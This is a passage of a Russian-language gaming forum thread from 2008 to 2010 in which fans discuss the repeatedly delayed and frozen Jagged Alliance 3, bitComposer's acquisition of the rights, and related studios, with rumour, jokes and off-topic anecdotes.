- [offtop]почему же не будет? Будет БлюЗ какой-нибудь очередной... ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 27.12.2008 в 10:34:39
2G.E.M.:
Да нет, сомнительно! Одного более чем достаточно!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MuMu на 30.12.2008 в 15:14:01
2Redson:
99% - будет куча недовольного народу. На Fallout3 посмотрите.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 30.12.2008 в 15:23:21
2MuMu:

Quote:
99% - будет куча недовольного народу

Да хоть 200%! Ничего от этого не измениться!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 30.12.2008 в 17:55:17

Quote:
На Fallout3 посмотрите.  
- [offtop]а что на него смотреть? Игра, как игра. В неё хоть играть можно (если не ярый поклонник первой части). А тут ещё и "как это играется" не ясно. :P[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MuMu на 31.12.2008 в 09:45:30
2G.E.M.: 2Redson:
Что бы не выпустили, JA2 всё равно не переплюнуть, он же с каждым годом всё интересней и интересней :).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 11.01.2009 в 17:12:24
Я вообще восхищаюсь идеей сделать польностью 3D игру и привентить к ней пошаговость, учесть неровности рельефа и т.д. и т.п. И чтобы результаты были играбельны.

Это при том, что не научились делать сколько-нибудь серьёзный ИИ и алгоритмы на плоской поверхности.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 11.01.2009 в 17:57:31

Quote:
Это при том, что не научились делать сколько-нибудь серьёзный ИИ и алгоритмы на плоской поверхности.  
- этим страдают все игры, не зависимо от графики, жанра и вложенных в них денег. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 11.01.2009 в 20:14:21
2Strax5:
2G.E.M.:
Уважаемые, чего это Вы вдруг?...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 12.01.2009 в 00:50:21
Замечу вслух, что в X-COM Apocalypse был лучший из известных мне тактических АИ. А ведь это была без дураков трехмерная игра ::) Так что, видимо, все же не надо насчет все игры, не зависимо от графики, жанра и вложенных в них денег
...другое дело, что наши разрабы АИ в пошаговых стратегиях делать категорически не умеют (единственным, хотя и очень мощным исключением был Генерал)...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 12.01.2009 в 17:39:38

Quote:
Уважаемые, чего это Вы вдруг?...  
- намёк понял, последний оффтоп и больше не буду. ::)


Quote:
Замечу вслух, что в X-COM Apocalypse был лучший из известных мне тактических АИ. А ведь это была без дураков трехмерная игра : rolleyes : Так что, видимо, все же не надо насчет все игры, не зависимо от графики, жанра и вложенных в них денег
...другое дело, что наши разрабы АИ в пошаговых стратегиях делать категорически не умеют (единственным, хотя и очень мощным исключением был Генерал)...  
- [offtop]ИИ у всех игр разный - согласен. Но в любом случае тактик у него гораздо меньше, чем у живого игрока. Плюс ИИ никогда не пользуется не задокументированными особенностями игры. После трёх-четырёх прохождений - это становиться видно. Но это уже в другую тему.[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Viking на 15.01.2009 в 13:01:18
2Georg:  
Quote:
На игромании написано,чтоигра переносица на 2010год.Наверное самая несчастливая игра.  


Лавры Дюка ЯдрЕного покоя нашим разрабам не дают...  

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Negredo на 25.01.2009 в 15:06:59
Viking

JA 3-Forever  :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 26.01.2009 в 10:38:30
Nevermore

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 26.01.2009 в 11:18:26
Народ, хорош флудить!:dont:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 29.01.2009 в 18:21:32
Да пусть переносят, будет надежда на что-нибудь путнее

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 29.01.2009 в 19:09:19

Quote:
Да пусть переносят, будет надежда на что-нибудь путнее  

Есть мнение что проект заморожен до лучших времен, кризис все мало прибыльное прикрывают.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 31.01.2009 в 08:52:30

Quote:
Есть мнение что проект заморожен до лучших времен, кризис все мало прибыльное прикрывают.  
- [offtop]отговорки всё это. [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 31.01.2009 в 13:13:18
2G.E.M.:
[offtop]Это точно. На самом деле все просто - нет у них НИЧЕГО! Только несколько паршивеньких скринов и роликов на эсэсовском движке...[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 31.01.2009 в 14:21:57

Quote:
Это точно. На самом деле все просто - нет у них НИЧЕГО! Только несколько паршивеньких скринов и роликов на эсэсовском движке...  
- [offtop]зачем же так грубо. ;) Если сравнить скрины игры со скринами Силент Шторма, то прогресс движка на лицо. Но движок - это далеко не игра. :P[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 31.01.2009 в 15:15:34
2G.E.M.:
[offtop]А толку-то от этого прогресса, если в итоге - ноль?[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем ThunderBird на 31.01.2009 в 15:37:32
Господа, если обсуждение по теме - зачем тег "оффтоп" использовать? Читать неудобно

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Viking на 28.02.2009 в 19:13:16
Интересно, а сколько стоит лицензия на лейбл Jagged Alliance со всеми потрохами?

P.S.: Предвидя встречный вопрос - Да, может и куплю. Годика через четыре, когда цена упадет :).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 27.05.2009 в 08:25:38
Мило. Согласно АГ:
"В разработке, запланирована на I квартал 2010 г"

Честно говоря, даже смешно... их работу, очевидно, завернули нафиг и отправили на доработку...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 27.05.2009 в 09:42:41
2Macbeth:  
Quote:
Честно говоря, даже смешно... их работу, очевидно, завернули нафиг и отправили на доработку...  

Кризис, денег платить за непрофильное и неприбыльное никто не хочет, я подозреваю что ушельцы из нивала в данный момент без зарплаты сидят или аутсорсят за еду.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 28.05.2009 в 03:52:03
2Zed:
Да и сам Нивал черти-чем занят. Одними своими онлайновыми играми...

В общем, непруха полная...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 28.05.2009 в 03:58:36
2Macbeth:  
Quote:
Да и сам Нивал черти-чем занят.  

Они деньги зарабатывают, деньги теперь там.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Sir-Dorosh на 04.08.2009 в 05:58:54
Инстальнул себе Ja 3 типо лицензию . Посидел 2 дня и понял Фуфло полное , будем ждать Ja 4 ? 8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 04.08.2009 в 07:22:50

on 1249354734, Sir-Dorosh wrote:
Инстальнул себе Ja 3 типо лицензию . Посидел 2 дня и понял Фуфло полное , будем ждать Ja 4 ? 8)  

Ты главное в Акеллу и Strategy First письма напиши, пусть порадуются что Ja3 без них издали.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 05.08.2009 в 08:07:05

on 1249354734, Sir-Dorosh wrote:
Инстальнул себе Ja 3 типо лицензию . Посидел 2 дня и понял Фуфло полное , будем ждать Ja 4 ?
- сир, это не Джа 3, а Джаз (зет на конце, нет не тот зет - буква такая). Фуфло, оно может и фуфло, но если чуть-чуть её переделать... ::)

Натуральная Джа 3 только после наступления 2010 года возможно появится.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sir-Dorosh на 05.08.2009 в 08:11:40
сир из фикалий конфету мажно слепить но стоит ли метать бисер перед свиньями 8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем G.E.M. на 05.08.2009 в 18:38:40
2Sir-Dorosh: Согласен, не стоит. :)
[offtop]Судя по всему бывший МистЛенд Юг просто решили самостоятельно распуститься (по этому всякие скандалы были и прочее). Хотя жаль - они делали добротные киберпанковские игры. :P[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 05.08.2009 в 18:49:45

on 1249486720, G.E.M. wrote:
Судя по всему бывший МистЛенд Юг просто решили самостоятельно распуститься (по этому всякие скандалы были и прочее). Хотя жаль - они делали добротные киберпанковские игры.

Просто Шутову надоело и он продал всю студию GFI. А так да единственная контора которая по киберпанку игры делала.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 05.08.2009 в 23:24:16

Quote:
Просто Шутову надоело и он продал всю студию GFI

Вот GFI их и распустило.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 06.08.2009 в 00:21:19

on 1249503856, bugmonster wrote:
Вот GFI их и распустило.  

Их же в GFI Russia переименовали и оставили вроде, или теперича разогнали ?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 06.08.2009 в 00:31:40
2Zed: вот эту GFI Russia зимой и разогнали, емнип. Шутов из геймдева ушёл. Кризис однако, колхозам нужны рабочие руки.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем mirage на 03.10.2009 в 01:21:59
нда уж.. обидно.. >:( :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 03.10.2009 в 06:02:44
надо брать в свои руки  ::)  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Compton на 10.11.2009 в 01:14:01
Третьей части все равно мне кажется не повторить успеха второй :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 09.12.2009 в 07:13:24
проект закрыт уже, вообще-то.
и давно

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 09.12.2009 в 08:14:57
 Неужели отмучались?  :( Откуда инфа?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ddd на 09.12.2009 в 08:18:03
инсайд  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 10.12.2009 в 03:01:57

on 1260335604, SSSVOLOCH wrote:
проект закрыт уже, вообще-то.
и давно
- как немногословно. ;D

Ну и ладно. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 14.12.2009 в 04:38:40

on 1260406917, <<GEM>> wrote:
- как немногословно.

Страница Jagged Alliance 3 на AG.ru (http://www.ag.ru/games/jagged_alliance_3) гласит:
"Статусы по платформам и регионам:
проект заморожен до лучших времен" :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 14.12.2009 в 10:00:29

on 1260758320, Docent wrote:
проект заморожен до лучших времен
-либо второе пришествие Христа, либо Рагнарок. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 14.12.2009 в 22:33:21
2<<GEM>>: Что в принципе одно и то же и произойдёт не раньше, чем никогда =)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем AC/DCer на 02.01.2010 в 04:17:11
http://www.gamer.ru/games/1334-jagged-alliance-3/posts
http://www.ag.ru/games/jagged_alliance_3

Ну и на других аналогичных сайтах тоже самое. + на сайтах Акеллы и StrategyFirst уже нет упомянаний о ja3.Сайт F3 Games лежит. :(

Rest In Peace, not forever, I hope...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 21.01.2010 в 23:10:37
Спросил у администратора Акеллы в л/с следующее:
"1) Я правильно понял, из сообщений на форуме, что Акелла официально опубликует новость о смерти/возобновлении работы на проектом Jagged Alliance 3?
2) При неблагоприятном исходе, бренд, хотя бы чисто теоретически может быть продан другой компании?"
В ответе получил: " Проект заморожен не из-за нехватки финансовых средств. И неизвестно, когда снова продолжат работу над ним. " ( не дословно) Так что надеемся на лучшее, но готовимся к худшему..

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 29.01.2010 в 06:21:52
ни один замороженный более чем на год крупный проект в России не был после этого продолжен.

так что я бы не надеялся ни на что.
к сожалению.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ZheniaSOBR на 09.03.2010 в 13:14:03
Из интересного. Страничка появилась недавно, на ней предлагают якобы тестить Джа 3. Явный бред, коллеги из польского сайта jacenter.pl проверяли и на самом деле никаких тестов нет а сделали страничку для того, чтобы "случайно" потестить две другие игры.
Зайти можно - это не вредно. Но зарегистрироватся не советую. Начнёт приходить всякий спам на мыло.
http://jagged-alliance-3-tester.blogspot.com/
Есть и плюс того, что такое существует. Создатели этого хлама (даже не написали название своей "компании") хотят заманить таким образом фанатов Джа. Значит, с нами считаются и помнят, что мы ждём 3 часть! Нашу любимую игру еще не забыли!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 09.03.2010 в 18:11:26

on 1268133243, ZheniaSOBR wrote:
хотят заманить таким образом фанатов Джа. Значит, с нами считаются и помнят, что мы ждём 3 часть! Нашу любимую игру еще не забыли!
- всё тривиальнее в этом королевстве. Бабла, уж вы меня извините, нарубить хотят и всё тут. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 09.03.2010 в 19:24:25
Жесть какая. Ничего святого у дельцов! :war:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем sd на 10.03.2010 в 07:02:07
Немецкое издательство bitComposer Games приобрело у Strategy First права на серию Jagged Alliance и объявило о начале разработки сиквела. По словам новых владельцев бренда, Jagged Alliance 3 останется верна общей концепции своих предшественниц, а действие ее сюжета, как и прежде, развернется в наши дни.

Обновление: В ответ на наше письмо, представитель bitComposer подтвердил, что их проект — совершенно новая игра, не связанная с той версией Jagged Alliance 3, над которой работали F3 Games и «Акелла».

По его словам, разработка JA 3 от «Акеллы» была прекращена. bitComposer планирует выпустить игру уже в следующем году.

http://www.ag.ru/news/09-03-2010

:D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 10.03.2010 в 07:08:13
OMG, это уже третий по счёту Jagged Alliance 3!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 10.03.2010 в 07:43:04

on 1268197327, sd wrote:
планирует выпустить игру уже в следующем году.  

О да, аркады форевер!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 10.03.2010 в 18:07:55

on 1268197327, sd wrote:
bitComposer планирует выпустить игру уже в следующем году.
- скриншоты в студию! ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Strax5 на 10.03.2010 в 18:45:50
Интуиция подсказывает, что у этих получится.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 10.03.2010 в 20:43:57
2Strax5: Вопрос в том что у них получится. :)

ЗЫ Я понял, года им как раз хватит на то чтобы взять исходники 1.13, закрыть их копирайтом, вырезать от туда всё глючное и вылетающее, и выпустить.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 10.03.2010 в 21:40:19
Хорошая новость :) Игра будет пошаговая (т.е. уже не аркада), с  ролевыми элементами. "Jagged Alliance 3 will build on the strengths of its famous predecessors and, set against the backdrop of a gripping story, will again deliver the much-loved combo of turn-based strategy gameplay with roleplay elements." Вот полная новость http://www.bit-composer.com/www_en/newsarchive.aspx?newsid=9e87d356-8529-45b5-a49f-8a814749efc9

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 10.03.2010 в 22:08:26

on 1268250019, Dredd21 wrote:
Хорошая новость
- плохая. Скринов нет, описания нет. И через год уже хотят выпустить. :P


Quote:
Немецкое издательство bitComposer Games
- типа само издательство будет делать или разработчики есть какие-то? И какие (занимались ли стратегиями)?

Пока новость - левая.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 10.03.2010 в 22:27:47

on 1268197693, bugmonster wrote:
третий по счёту Jagged Alliance 3!
Видимо, в совпадении цифр есть некий сакральный смысл.
Будем надеяться на то, что "бог троицу любит"? ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 10.03.2010 в 22:29:53
Хехе, на седьмой день Господь отошел от трудов своих

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 10.03.2010 в 22:40:42
Лично для меня, новость хороша тем, что хоть что-то с мёртвой точки сдвинулось. От Акеллы одни переносы были + моё доверие, после Disciples 3 к ним подорвано. Да и делать JA 3 на движке SS.. Разработчиков пока нет, но если сам издатель знает/любит серию JA, тот он будет контролировать разработчиков. Игры подобные JA уже  не актуальны. Коммерчески не выгодны. (сама strategy first брэнд продала, да и из переписки с нашими разработчиками это понял) Поэтому, я не удивлюсь, если разработчики будут мягко говоря, не из первого эшелона. А то, что игра через год выйдет.. 2011-ый, м.б. 1 квартал, а может 4-ый. Сильное затягивание сроков, очень мало кому на пользу идёт. И мало кто может это себе позволить.. Будем следить за новостями  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 10.03.2010 в 22:45:00

on 1268253642, Dredd21 wrote:
Игры подобные JA уже  не актуальны. Коммерчески не выгодны.  

гм, тогда чем же новость так хороша?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 10.03.2010 в 23:04:34

on 1268253642, Dredd21 wrote:
А то, что игра через год выйдет.. 2011-ый, м.б. 1 квартал, а может 4-ый. Сильное затягивание сроков, очень мало кому на пользу идёт. И мало кто может это себе позволить.. Будем следить за новостями  
- в этом случае должна быть команда большая и опытная, что бы за такой срок не сделать очередной Джаз. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 10.03.2010 в 23:09:33
MAn, тем, что я являюсь поклонником JA 2 и я рад, что у игры будет (надеюсь ) продолжение. Рад, что оно просто будет. А уж каким.. По мне, лучше хоть что-то (добротное), чем совсем ничего. Мне даже ремейк JA2 подойдёт  :)  Я каких-то либо больших надежд на JA 3 не возлагаю. Рискованно, вкладывать большие средства в данный проект, планировать переплюнуть JA 2 по всем/большинству параметрам/фичам, а потом пупок надорвать..

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 11.03.2010 в 00:00:00

on 1268255373, Dredd21 wrote:
Рад, что оно просто будет. А уж каким..  

Ну, относительно недавно вышел "Джаз", а толку?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 11.03.2010 в 00:37:19

Quote:
Ну, относительно недавно вышел "Джаз", а толку?

Ох.. У меня и в мыслях не было, что немцы (если будет немецкий разработчик) состряпают игру, похожую на Джаз.. Джаз, это ведь игра по мотивам вселенной JA. К серии не относится. Я, поэтому и написал в скобках - добротную.. Да и на слова директора bitComposer Games я купился :"We are delighted to acquire this classic game for bitComposer, and want to continue the success of the previous titles in the series, while giving the new version a contemporary look, bearing in mind the strong features of its predecessors".  Не дословный перевод :" Мы рады приобретению классической игры нашей компанией и мы хотим продолжить успех предыдущих игр серии, предать ей современный вид, принимая во внимание сильные особенности  предшественников"  

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 11.03.2010 в 00:39:22
Напрасно, ты идеализируешь "немцев" :)
Кстати, в Джазе очень многое взято прямиком из оригинальной джа.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 11.03.2010 в 00:50:15
Джаз и должен был быть JA 3, но позднее право на разработку уплыло от Mistland к Акелле.. Вот и получилось, не серия JA, а как отдельная игра - реализация подвела.. А от идеализации, думаю вылечусь, скриншотами/видео и т.д. и т.п.  :) Мне б перестать верить, пресс релизам, а я хочу верить :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 11.03.2010 в 00:56:57

on 1268261415, Dredd21 wrote:
Мне б перестать верить, пресс релизам, а я хочу верить  


"Верую, ибо абсурдно"  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 11.03.2010 в 02:46:16
Поправочка, для тех кто не помнит историю:
Первоначальное название Джаза - JA 3D, и он планировался как UB/ЦС перед разработкой полноценного мегапупернастоящего JA3 на том же движке. По ходу разработки JA 3D, SF забрала разработку JA3 у Мистленда и передала её Какелле, которая организовала для этого внутреннюю студию F3 Games.

По поводу немцев: я бы не стал так сильно в них верить, как будто немцы не издают треш-игр. Так же хочу отметить что это всего лишь издательство, и заказать разработку оно может хоть у польского конвеерного трэшмейкера CITY Interactive

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем sd на 11.03.2010 в 03:07:12

on 1268268376, bugmonster wrote:
Так же хочу отметить что это всего лишь издательство, и заказать разработку оно может хоть у польского конвеерного трэшмейкера CITY Interactive

... или у F3 Games  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 11.03.2010 в 04:36:00
2sd: именно. Да хоть у мистленда. Правда обе эти фирмы уже не существуют, так что немцам придётся для этого создать их заново.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 11.03.2010 в 10:38:08
Чтобы хоть как-то оценить возможное качество Jagged Alliance 3 от немцев...
Сообщите, плиз, (кто знает) что хорошего можно сказать об этой продукции (http://www.bit-composer.com/www_en/products.aspx) издательства bitComposer Games? ???
Хоть что-то приличное и более-менее похожее на JA2 есть в этом перечне игр? ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 11.03.2010 в 11:17:25
2Docent: Ну, Сталкер и ниндзя блейд - ничего так (хотя игры тоже не водопад).
А вот с остальным не сталкивался.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 11.03.2010 в 11:28:36

on 1268299045, <<GEM>> wrote:
Ну, Сталкер и ниндзя блейд - ничего так (хотя игры тоже не водопад).  

Сталкер, я понимаю, это просто переиздание игры "S.T.A.L.K.E.R.: Зов Припяти" от GSC Game World ;)

Хотелось бы оценить возможности bitComposer Games при издании оригинальных проектов ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 11.03.2010 в 11:35:55
2Docent:
Издатель он ничего не производит, это так сказать пиявка на теле производителя :)
Глядя на сайт на асп и список из 10 изданных игр, думается нам что бренд купили за дешево в надежде сляпать что нибудь по миссионное и заработать на доверчивых немцах так хорошо раскупивших wildfire.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 11.03.2010 в 18:06:39
2Docent: Ни одной стратегии в списке не увидел. К тем про которые уже сказали могу добавить Scorpion Disfigured - трешовый шутер наподобие отечественных изделий от "сатурн плюс".

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 11.03.2010 в 21:16:14
2Zed:  
Quote:
Издатель он ничего не производит, это так сказать пиявка на теле производителя :)

Это понятно. Но от возможностей (финансовых в том числе) и требований издателя порой зависит больше, чем от воли производителя, ибо он выступает заказчиком и "принимает" игру.


Quote:
Глядя на сайт на асп и список из 10 изданных игр, думается нам что бренд купили за дешево в надежде сляпать что нибудь по миссионное и заработать на доверчивых немцах так хорошо раскупивших wildfire.

Вот и у меня есть подобные подозрения, потому и интересуюсь продукцией от этого издателя :(


on 1268323599, bugmonster wrote:
Ни одной стратегии в списке не увидел. К тем про которые уже сказали могу добавить Scorpion Disfigured - трешовый шутер наподобие отечественных изделий от "сатурн плюс".

Печально это всё >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 12.03.2010 в 00:07:35

Quote:
Бит-Композер - два "гея" (в плохом смысле слова) авантюриста, которые являются очень странной структурой при атари (или как она там сейчас называется)германия  (типа как коммерческие фирмы при государстве, в россии или в украине), через нее работники атари "вымывают" деньги из большой корпорации. Там (в композере) своих денег на разработку и близко нету, а поиграть в Джаз 2 можно будет только, если какая-то студия за "свои" что-то похожее уже делает. Потом эти композеры привезут продюссера "своего" (все они из блу байта бывшего) и будут "продавать", то что вышло. Вообщем, я бы не надеялся особо.
"Приобрели права" - тоже улыбку вызывает. "Намутили" скорее, извините за выражение.
(c) Евгений Дуранин - менеджер игры Scorpion

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 12.03.2010 в 00:28:12

on 1268345255, Zed wrote:
Там (в композере) своих денег на разработку и близко нету, а поиграть в Джаз 2 можно будет только, если какая-то студия за "свои" что-то похожее уже делает. Потом эти композеры привезут продюссера "своего" (все они из блу байта бывшего) и будут "продавать", то что вышло. Вообщем, я бы не надеялся особо.  

Значит в разработке джа3 никаких изменений. Если перечитать эту ветку, то там есть информация что стратегифирст именно так и вела дела: намутила права на серию, при этом сами они все эти годы находятся в состоянии банкротства, сами в разработку не вложили ни копейки, зато их продюссер постоянно регулярно придумывал гениальные идеи по тому как нужно всё переделать, чтобы всё хорошо вышло и всячески разваливали производственный процесс, который оплачивался не из их кармана. Фактически, вся деятельность СФ за эти годы, связанная с серией джа, сводилась к торговле лейбалом.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.03.2010 в 01:44:55
Нда, как оно всё... Один человек на ag, высказал следующую мысль. Не дословно. Если срок относительно близкий назначен, значит, не с нуля будут игру делать. Т.е. движок есть или его наработки. От себя добавлю. А может быть, амбиции черезмерные играют,  всё по плечу в сжатые сроки.. Ладно, на ag в трекер игра добавлена, сайт Бит-Композер  в избранном, авось позитиff проскочит.
P.S. Бит-Композер, судя по сайту, в основном на адвенчурах специализируется. И довольно не плохие делает (Alter Ego  в конце февраля вышла, ещё один квест в  разработке) Полный провал их - это Scorpion, судя по всему

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 12.03.2010 в 02:02:34
2Dredd21: Ну они же не мамой клянутся что через год выпустят. Переносы сроков выхода обыденная вещь, некоторые так и по многу раз переносят.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.03.2010 в 02:34:26
Да я в курсе :) Не многие могут позволить постоянно себе такую роскошь (исключение Mafia 2, Diablo 3 etc). Определённый предел переноса сроков есть. Иначе, есть риск не выпустить проект или выпустить недоделку/морально устаревший продукт/не то, что анонсировалось и т.д. и т.п. К тому же, чем дольше срок разработки, тем больше затрат.F3 Games 3 года делала JA3, а насколько был готов проект - тайна покрытая мраком. Затраты есть? Есть. Наработки есть? Есть. И куда всё это девать? Я вижу три варианта :
1. Использовать для своих нужд
2. Попытаться продать
3. Похоронить..
Но это так, мысли в слух

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 12.03.2010 в 04:48:10
2Dredd21: Да, c F3 конечно ваще жесть получилась, 27 человек 3 года тусили в оффисе за зарплату, имея на руках готовый движок и прочие игровые ресурсы. В итоге - ничего. Возможно теперь кто-то захотел воспользоваться петровским способом улучшения производства - к каждому станкус русским рабочим приставить немца с железной палкой, продали немцам тайтл джаггед альянс 3 вместе с крепостными из F3, теперь им пришлют опытного менеджера из бывшей компании "Голубой Байт", так что теперь лентяи из F3 будут кодить код и моделить модели быстро и качественно, под старахом анальной кары.  ;D
Но это так, версия-догадка.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Strax5 на 12.03.2010 в 05:25:17

on 1268362090, bugmonster wrote:
петровским способом улучшения производства - к каждому станкус русским рабочим приставить немца с железной палкой


Реальная история из российского бизнеса на селе
[offtop]Знакомый моего знакомого купил швейную фабрику в небольшом поселке. Купил импортные лекала (итальянские) и технику (немецкую). Вздумал производить там форму для полувоенных формирований.
Сколько же он намучался! Ну не идёт производство и всё! То станки не работают, то лекала не подходят, то сырьё не то.
Долго мучался. Пока мой знакомый (хороший адвокат старый еврей очень опытный бандит) не посоветовал ему сменить персонал. Старые сотрудница швеи каких-то категорий были слишком рпытными для такого производства. Многолетний опыт мешал им приспособитья к новым лекалам, технике, сырью.
Выгнял это ЧП всех старых работниц. Набрал молодых девок. Сказал им: "Дуры, у вас нет ни опыта, ни профессии, ни персиектив. Радуйтесь что дал вам работу".
А для порядка выписал из италии опытного мастера-надсмотрщика и установил ей достойную даже для Италии зарплату обеспечил домом.
Фабрика с тех пор приносит солидный доход, занкомый моего знакомого горя не знает...
[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 12.03.2010 в 05:44:12
2Strax5:

Что русскому хорошо, то немцу брак! (http://ithappens.ru/story/590)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 12.03.2010 в 06:35:20
2bugmonster:
Да, производство wildfire 2 человеками заиграло новыми красками  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<GEM>> на 12.03.2010 в 07:00:21

on 1268365452, bugmonster wrote:
Что русскому хорошо, то немцу брак!
- "Я же говорю - место заколдаванное. А ты - всё руки из ж..., да руки из ж..." ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ThunderBird на 13.03.2010 в 06:01:12
[offtop]
on 1268365452, bugmonster wrote:
2Strax5:  

Что русскому хорошо, то немцу брак!
     
особенно в этой истории меня умиляет название профессии - "слесари по наебалову" системы контроля качества. Так и вижу запись в трудовой  ;D ;D[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 13.03.2010 в 06:36:54
2ThunderBird: [offtop]по этой профессии я и запомнил этот боян и смог по ней его нагуглить[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 21.06.2010 в 21:20:39
Хотел спросить, а когда нам игру ждать?
А то решил рецензии почитать по игре, набираю в Яндексе:
"Jagged Alliance 3", а мне высвечиваются "Jagged Alliance 3 скачать" и даже "Jagged Alliance 3 скачать бесплатно"! При этом ссылок на скачивание не нашёл ни одной! ;) Это что? Лохотрон или действительно игра уже вышла?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 22.06.2010 в 02:22:45

on 1277144439, Head_Crusher wrote:
Лохотрон или действительно игра уже вышла?
- игра вышла, но получился - лохотрон.
Игра, которую ждали - оказалась Джаз: Работа по найму. Не очень хорошо получилось, ибо для новичков сделано, серию Джа не видавших.

